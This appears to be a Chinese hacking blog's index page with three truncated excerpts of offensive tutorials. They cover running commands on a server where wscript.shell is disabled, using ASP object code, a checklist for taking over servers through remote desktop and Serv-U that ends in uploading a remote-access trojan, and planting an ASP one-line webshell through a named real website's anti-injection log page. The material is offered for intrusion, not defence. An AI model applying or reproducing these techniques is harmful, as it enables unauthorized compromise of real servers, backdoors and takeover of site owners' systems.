Swane's blog

摘要： 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。要想让运行命令可以试试这种方法，成功率为五五之数。把下面代码复制：<object runat=server id=oScriptlhn scope=page classid=\"clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8\"></object><%if err then%><object runat=server id=oScr 阅读全文

摘要： 一：首先检测一下网站的服务器是否开了 3389 远程终端 二：检测一下服务是否用了serv-u （还有是什么版本的） 方法 一：复制一个网站 用 3389 登陆器连接一下 （是否成功） 能连接了，拿下服务器的机率，提高 30%了 二：用ftp模式查下一个服务器的版本 开始 -- 运行 -- cmd -- ftp (加你要登陆的网站) --------------------------------------------------------------------------------------- 第一步：最简单的方法 看有没有权限，能不能执行命令，行的话直接传个鸽子运行（成功率非常低 阅读全文

摘要： 当你用单引号“’”来测试一个网站可能存在注入漏洞的地址时（假设网址为“www.lvbaowang.com/news.asp?id=6”）弹出了“你的操作已被记录！”这类信息，而我们又没办法去绕过防注入系统的时候，可以试着提交http://www.lvbaowang.com/sqlin.asp看看存不存在“sqlin.asp” ，如果存在的话，我们只要提交<A href="http://www.lvbaowang.com/news.asp?id=6'http://www.lvbaowang.com/news.asp?id=6'<%execute reques 阅读全文